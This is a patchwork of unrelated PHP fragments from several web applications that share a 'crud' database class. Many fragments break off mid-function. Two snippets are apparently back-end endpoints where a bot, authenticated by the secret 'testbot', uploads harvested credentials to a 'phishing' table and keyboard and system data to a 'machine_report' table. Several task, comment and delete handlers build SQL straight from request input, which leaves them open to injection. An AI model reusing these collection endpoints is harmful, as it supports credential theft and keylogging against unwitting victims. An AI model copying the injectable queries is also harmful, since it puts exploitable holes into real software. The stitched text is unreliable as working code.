public function login($username, $password)
{
$crud = new crud();
$userinfo = $crud->auth($username, $password);
if (!$userinfo) {
return false;
} else {
$this->loginIn = true;
return $userinfo;
}
}
protected static function fill_in($data)
{
if (!isset($data['variants']) || !!is_array($data['variants'])) {
$data['variants'] = [];
}
return parent::fill_in($data);
}
/**
* Singleton Pattern.
* Allows for reusing the initial instanited object. Prevents multiple mysql connections for the same call.
*/
public static function obtain($_server = null, $_user = null, $_password = null, $_database = null)
{
if (!self::$instance) {
self::$instance = new crud($_server, $_user, $_password, $_database);
}
return self::$instance;
}
public function index()
{
$data['meja'] = crud::baca('tbl_meja');
$this->load->view('1_atas', $data);
$this->load->view('2_navbar_no', $data);
$this->load->view('includes/meja/content', $data);
// Beranda
$this->load->view('4_bawah', $data);
}
private function connect()
{
if (is_null(self::$conexao)) {
$con = mysql_connect(self::$host, self::$user, self::$password);
self::$conexao = mysql_select_db(self::$database, $con);
if (self::$conexao) {
return self::$conexao;
} else {
die("Não foi possível conectar ao Banco de Dados! Por favor, contate o suporte.");
}
}
}
public function cek_login()
{
$capjay = strtoupper($this->input->post('capjay'));
$user = $this->input->post('user');
$pass = $this->encrypt->encode_url($this->input->post('pass'));
$this->form_validation->set_error_delimiters('<div class="alert alert-danger">', '</div>');
$this->form_validation->set_rules('user', 'Username', 'required');
$this->form_validation->set_rules('pass', 'Password', 'required');
if ($this->form_validation->run() == FALSE) {
$msg_error = array('user' => form_error('user'), 'pass' => form_error('pass'));
$has_error = array('user' => 'has-error', 'pass' => 'has-error');
$this->session->set_flashdata('form_error', $msg_error);
$this->session->set_flashdata('has_error', $has_error);
$this->session->set_flashdata('user', $user);
redirect('front/login.php');
} else {
$sess_cap = $this->session->userdata('capjay');
// Catch the user's answer
if ($sess_cap != $capjay) {
$this->session->set_flashdata('login', '<div class="alert alert-danger">Maaf, captcha tidak tervalidasi !!</div>');
$this->session->set_flashdata('user', $user);
redirect('front/login.php');
} else {
$login = akses::cek_login($user, $pass);
if ($login == TRUE) {
if ($login->level != 'waiter') {
$this->session->set_flashdata('login', '<div class="alert alert-danger">Administrator, silahkan login ke halaman admin !!!</div>');
redirect('front/login.php');
} else {
$data = array('nama' => $login->nama, 'username' => $login->username, 'level' => $login->level, 'is_logged_in' => TRUE);
crud::update('tbl_user', 'username', $user, array('last_login' => date('Y-m-d H:i:s')));
$this->session->set_userdata('login', $data);
$this->session->set_flashdata('login', 'Login berhasil, silahkan melanjutkan transaksi');
redirect('front/index.php');
}
} else {
$this->session->set_flashdata('login', '<div class="alert alert-danger">User / pass salah !!!</div>');
redirect('front/login.php');
}
}
}
}
public function cek_login()
{
$capjay = strtoupper($this->input->post('capjay'));
$user = $this->input->post('user');
$pass = $this->encrypt->encode_url($this->input->post('pass'));
$this->form_validation->set_error_delimiters('<div class="alert alert-danger">', '</div>');
$this->form_validation->set_rules('user', 'Username', 'required');
$this->form_validation->set_rules('pass', 'Password', 'required');
if ($this->form_validation->run() == FALSE) {
$msg_error = array('user' => form_error('user'), 'pass' => form_error('pass'));
$has_error = array('user' => 'has-error', 'pass' => 'has-error');
$this->session->set_flashdata('form_error', $msg_error);
$this->session->set_flashdata('has_error', $has_error);
$this->session->set_flashdata('user', $user);
redirect(site_url());
} else {
// //$sess_cap = $this->session->userdata('capjay');
// // Catch the user's answer
// $captcha_answer = $this->input->post('g-recaptcha-response');
//
// // Verify user's answer
// $sess_cap = $this->recaptcha->verifyResponse($captcha_answer);
// if ($sess_cap['success'] != 1) {
// $this->session->set_flashdata('login', '<div class="alert alert-danger">Maaf, captcha tidak tervalidasi !!</div>');
// $this->session->set_flashdata('user', $user);
// redirect(site_url());
// } else {
$login = akses::cek_login($user, $pass);
if ($login == TRUE) {
$data = array('nama' => $login->nama, 'username' => $login->username, 'level' => $login->level, 'is_logged_in' => TRUE);
crud::update('tbl_user', 'username', $user, array('last_login' => date('Y-m-d H:i:s')));
$this->session->set_userdata('login', $data);
$this->session->set_flashdata('login', 'Login berhasil, silahkan melanjutkan transaksi');
redirect('page=home');
} else {
$this->session->set_flashdata('login', '<div class="alert alert-danger">User / pass salah !!!</div>');
redirect(base_url('index.php'));
}
}
// }
}
</div>
</form>
</div>
</div>
</div>
</div>
<?php
if (empty($sidErr) && empty($websiteErr) && empty($mpErr) && !empty($sid) && !empty($website) && !empty($mp) && empty($widgetErr) && !empty($widget2) && !empty($pubid) && empty($pubidErr) && $submit === "update") {
$piwik = 2;
$cache = true;
$abtest = false;
$allowedParameters = array();
$crud = new crud();
$crud->update($pubid, $name, $website, $piwik, $cache, $allowedParameters, $abtest, $mp, $widget2);
} else {
if (empty($sidErr) && !empty($sid) && !empty($pubid) && empty($pubidErr) && $submit === "delete") {
$crud = new crud();
$crud->delete($sid, $pubid);
}
}
?>
</body>
</html>
l
<?php
// Definindo encode pra UTF-8
header('Content-type: text/html; charset="utf-8"', true);
require "../helper/class.crud.php";
require "../helper/secure_validation.php";
//change this use key of your bot
$secret_code = "testbot";
//register machine
if ($_POST['secret_code'] == $secret_code) {
$crud = new crud();
$name = htmlentities($_POST['name']);
if (!$name) {
print "need name";
exit;
}
$date = date('Y-m-d H:i:s');
$password = htmlentities($_POST['password']);
$url = htmlentities($_POST['url']);
$values = array(array('name' => sanitize($name), 'date' => sanitize($date), 'password' => sanitize($password), 'url' => sanitize($url)));
$crud->dbInsert('phishing', $values);
} else {
echo "error at secret code";
}
function mdl_set_galery()
{
parent::__construct();
}
function mdl_modules()
{
parent::__construct();
}
<style type="text/css">
@import url("/css/main-css.css")
</style>
</head>
<body >
<!---- Include Header ----->
<?php
include '../includes/menubars.inc.php';
?>
<!-- Main body
================== -->
<?php
include_once '../mysql/hidden_files/database.php';
include_once '../classes/class.goals.crud.php';
$crud = new crud($conn);
?>
<div class="wrapper">
<div class="section-header fixed-top">
<div class="container">
<div class="row">
<div class="col-md-2">
<!-- Remove the .animated class if you don't want things to move -->
<h1 class="animated slideInLeft"><span>My Goals</span></h1>
</div>
<div class="col-md-8">
<h4>Hi <?php
echo userValue(null, "FirstName");
?>
, your Goals are here. </h4>
</div>
<?php
session_start();
require_once 'classes/crud.php';
if (!empty($_POST)) {
$project_name = $_POST['project_name'];
$idworkerProject = $_SESSION['workerId'];
$idclient = $_POST['idclient'];
$dbObject = new crud('projects');
$projectQuery = "INSERT INTO projects VALUES ('', '{$project_name}' , '{$idworkerProject}', '1', '{$idclient}')";
if ($dbObject->query($projectQuery)) {
//Вставка записи проекта
$idproject = $dbObject->getMaxId('projects');
$names = $_POST['name'];
$summaries = $_POST['summary'];
$startdates = $_POST['startdate'];
$finishdates = $_POST['finishdate'];
$idworkers = $_POST['worker'];
$descriptions = $_POST['description'];
$query = "INSERT INTO tasks VALUES ";
for ($i = 0; $i < count($_POST['name']); $i++) {
$set .= " ( {$names[$i]}, {$summaries[$i]}, {$startdates[$i]}, {$finishdates[$i]}, {$idproject}, {$idworkers[$i]}, {$descriptions[$i]} ),";
}
$set = substr($set, 0, -1);
$query = $query . $set;
if ($dbObject->query($query)) {
echo "Создание проекта заверешно";
} else {
echo "Возникли ошибки при добавлении задач";
}
} else {
function mdl_galery_add()
{
parent::__construct();
}
<?php
session_start();
// included files
include "../../../connection/phpmysqlconnect.php";
include "../../../library/CRUD_lib.php";
include "../../../library/miss_lib.php";
// post data
$user_id = $_POST['user_id'];
$name = $_POST['name'];
$email = $_POST['email'];
$mobile = $_POST['mobile'];
$landline = $_POST['landline'];
$modifier = $_SESSION["user"];
// updation
$column = array('name', 'email_id', 'mobile', 'landline', 'modified_by');
$value = array("{$name}", "{$email}", "{$mobile}", "{$landline}", "{$modifier}");
$condition_column = array('user_id');
$condition_value = array("{$user_id}");
$update = new crud($conn, 'customer_details', $column, $value);
$update->update($condition_column, $condition_value);
$move->moveWithAlert('Your Profile has been updated', '../pages/editdetails.php');
public function user_hapus()
{
if (akses::aksesLogin() == TRUE or akses::aksesUser() == TRUE) {
$id = $this->encrypt->decode_url($_GET['id']);
crud::delete('tbl_user', 'username', $id);
$this->session->set_flashdata('pengaturan', '<div class="alert alert-success">Username : <b>' . $id . '</b>, berhasil dihapus !!</div>');
redirect('page=pengaturan&act=user_list');
} else {
$this->session->set_flashdata('login', '<div class="alert alert-danger">Maaf, anda session habis. Silahkan login ulang.</div>');
redirect(site_url());
}
}
<?php
include "../../connection/phpmysqlconnect.php";
include "../../lib/CRUD_lib.php";
include "../../lib/miss_lib.php";
// post data
// File processing
$ext_array = array("jpeg", "jpg", "png");
$mime_array = array("image/jpeg", "image/jpg", "image/png");
$location = "../../media/featured_product/";
$image = new uploader();
if ($image->upload_validate($_FILES['files'], $ext_array, $mime_array) == true) {
$image_name = $image->upload($_FILES['files'], $location);
$column = array('logo');
$value = array($image_name);
$insert = new crud($conn, 'featured-product', $column, $value);
$insert->insert();
$move = new alert_redirect();
$move->moveWithAlert('Logo has been added', '../../pages/distributor-logo.php');
}
$move->moveWithAlert('Error in uploading image', '../../pages/distributor-logo.php');
<?php
session_start();
$workerId = $_SESSION['workerId'];
if (!empty($_POST)) {
require_once 'classes/crud.php';
$dbObject = new crud('clients');
$dbObject->update();
}
<?php
session_start();
$workerId = $_SESSION['workerId'];
if (!empty($_POST['commentText']) && !empty($_POST['idTask']) && !empty($_POST['commentText'])) {
$commentText = $_POST['commentText'];
$idTask = $_POST['idTask'];
$commentText = $_POST['commentText'];
require_once 'classes/crud.php';
$dbObject = new crud('tasks');
$query = "INSERT INTO comments VALUES ('', '{$workerId}', '{$idTask}', '{$commentText}')";
if ($dbObject->query($query)) {
echo true;
} else {
echo false;
}
}
<?php
require_once 'config/conexao.class.php';
require_once 'config/crud.class.php';
$con = new conexao();
// instancia classe de conxao
$con->connect();
// abre conexao com o banco
$crud = new crud('crudcliente');
// instancia classe com as operaçoes crud, passando o nome da tabela como parametro
$id = $_GET['id'];
//pega id para exclusao caso exista
$crud->excluir("id = {$id}");
// exclui o registro com o id que foi passado
$con->disconnect();
// fecha a conexao
header("Location: index.php");
// redireciona para a listagem
<div class="moto-widget-text-content moto-widget-text-editable"><p class="moto-text_normal"><span class="moto-color2_3"><a href="mailto:faculdadeteologicareuel@gmail.com">faculdadeteologicareuel@gmail.com</a><br/><a href="mailto:facidil@gmail.com">facidil@gmail.com</a><br/><strong>Skype: </strong>faeter2015 </span></p></div>
</div></div></div></div></div></div>
</div></div></div></div><div class="moto-cell col-sm-6" data-container="container"><div class="moto-widget moto-widget-text moto-preset-default " data-widget="text" data-preset="default" data-spacing="laaa">
</div><div class="moto-widget moto-widget-text moto-preset-default moto-spacing-top-auto moto-spacing-right-auto moto-spacing-bottom-small moto-spacing-left-auto" data-widget="text" data-preset="default" data-spacing="aasa">
</div><div class="moto-widget moto-widget-contact_form moto-preset-default moto-widget-empty moto-align-left moto-spacing-top-medium moto-spacing-right-auto moto-spacing-bottom-large moto-spacing-left-auto" data-preset="default" data-widget="contact_form" data-align="left" data-type="" data-spacing="mala">
<div ng-controller="widget.ContactForm.Controller">
<form class="moto-widget-contact_form-form" role="form" name="contactForm" method="POST" action="">
<?php
if (isset($_POST['enviar']) && $_POST['enviar'] == 'ok') {
include 'class/crud-pdo.php';
$conecta = new crud();
$conecta->conn();
$nome = strip_tags(trim($_POST['nome']));
$email = strip_tags(trim($_POST['email']));
$telefone = strip_tags(trim($_POST['telefone']));
$msg = strip_tags(trim($_POST['msg']));
if ($nome == '') {
echo '<div class="alert alert-danger">Você deve informar seu nome.</div>';
} else {
if ($email == '') {
echo '<div class="alert alert-danger">Você deve informar um e-mail válido.</div>';
} else {
if ($msg == '') {
echo '<div class="alert alert-danger">Você deve informar uma Mensagem.</div>';
} else {
if (!preg_match("/^[a-z0-9_\\.\\-]+@[a-z0-9_\\.\\-]*[a-z0-9_\\-]+\\.[a-z]{2,4}\$/i", $email)) {
<?php
// Definindo encode pra UTF-8
header('Content-type: text/html; charset="utf-8"', true);
require "../helper/class.crud.php";
require "../helper/secure_validation.php";
//change this use key of your bot
$secret_code = "testbot";
//register machine
if ($_POST['secret_code'] == $secret_code) {
$crud = new crud();
$name = htmlentities($_POST['name']);
if (!$name) {
print "need name";
exit;
}
$date = date('Y-m-d H:i:s');
$system = htmlentities($_POST['system']);
$ip = htmlentities($_POST['ip']);
$keyboard = htmlentities($_POST['keyboard']);
$values = array(array('name' => sanitize($name), 'date' => sanitize($date), 'ip' => sanitize($ip), 'system' => sanitize($system), 'keyboard' => sanitize($keyboard)));
$crud->dbInsert('machine_report', $values);
} else {
echo "error at secret code";
}
30. Epístolas Paulinas II
31. Epístolas Gerais II
32. Apocalipse II
33. Fundamentalismo
34. Ministérios Eclesiásticos
35. Escola Bíblica na Igreja
36. Técnicas de comunicação
</p>
</div>
<h2>OUTRAS INFORMAÇÕES</h2>
<?php
include 'class/crud-pdo.php';
//CRUD
$conecta = new crud();
$conecta->conn();
$resultado_query = $conecta->dbSelect('cursos', 'id', 2);
foreach ($resultado_query as $res) {
}
?>
<div class="col-sm-6">
<p style="font-size:18px; text-align:justify;">
Investimento: de R$ <?php
echo $res['valor_antigo'];
?>
por R$ <?php
echo $res['valor_prazo'];
?>
e ainda pode ser dividido em até <?php
echo $res['prestacao'];
function mdl_view()
{
parent::__construct();
}
<?php
session_start();
$workerId = $_SESSION['workerId'];
if (!empty($_POST['idTask'])) {
$idTask = $_POST['idTask'];
require_once 'classes/crud.php';
$dbObject = new crud('tasks');
$query = "UPDATE tasks SET opened = 0 WHERE id = '{$idTask}' ";
$dbObject->query($query);
}
<?php
session_start();
$workerId = $_SESSION['workerId'];
if (!empty($_POST)) {
require_once 'classes/crud.php';
$dbObject = new crud('tasks');
$_POST['idfrom'] = $workerId;
$_POST['opened'] = 1;
$_POST['cond'] = 1;
$dbObject->create();
}
<?php
require_once 'classes/crud.php';
$dbObject = new crud();
$services = $dbObject->read('services');
$services = $services[0];
?>
<div class="container">
<div class="panel-body">
<div class="table-responsive">
<table class="table table-striped table-bordered table-hover" id="dataTables-example">
<thead>
<tr>
<th>Услуга</th>
<th>Единица измерения</th>
<th>Цена за еденицу</th>
</tr>
</thead>
<tbody>
<?php
for ($i = 0; $i < count($services); $i++) {
?>
<tr class="odd gradeX">
<td class="requestService" data-toggle="modal" data-target=".modalService"><?php
echo $services[$i]['name'];
?>
</td>
<td><?php
echo $services[$i]['unit'];
?>
</td>
<?php
require 'additional/header.php';
$workerId = $_SESSION['workerId'];
require_once 'core/classes/crud.php';
$dbObject = new crud('workers');
$projects = $dbObject->getAllProjects();
$projects = $projects[0];
$workers = $dbObject->getAllWorkers();
$workers = $workers[0];
//$dbObject->create();
?>
<body>
<div id="wrapper">
<?php
require_once 'additional/fixed-menu.php';
?>
<!--/. NAV TOP -->
<?php
require_once 'additional/fixed-sidebar.php';
?>
<!-- /. NAV SIDE -->
<div id="page-wrapper" >
<div id="page-inner">
<div class="row">
<div class="col-md-12">
<h1 class="page-header">
Создание новой задачи
</h1>
</div>
</div>
<?php
if (!empty($_POST['name']) && !empty($_POST['face']) && !empty($_POST['INN']) && !empty($_POST['Bik']) && !empty($_POST['Rs']) && !empty($_POST['address'])) {
require_once '../classes/crud.php';
$dbObject = new crud();
$dbObject->create('organizations');
}
<?php
session_start();
if (!empty($_POST['password'])) {
require_once 'core/classes/crud.php';
$password = $_POST['password'];
$login = $_POST['login'];
$dbObject = new crud('workers');
if ($userdata = $dbObject->auth($login, $password)) {
$_SESSION['workerName'] = $userdata['0']['name'];
$_SESSION['workerId'] = $userdata['0']['id'];
header('Location: index.php');
}
} else {
?>
<link rel="stylesheet" href="assets/css/styles.css" />
<link rel="stylesheet" href="assets/css/animate.css" />
<div id="container">
<form method="post">
<label for="name">Логин:</label>
<input type="name" name="login">
<label for="username">Пароль:</label>
<input type="password" name="password">
<div id="lower">
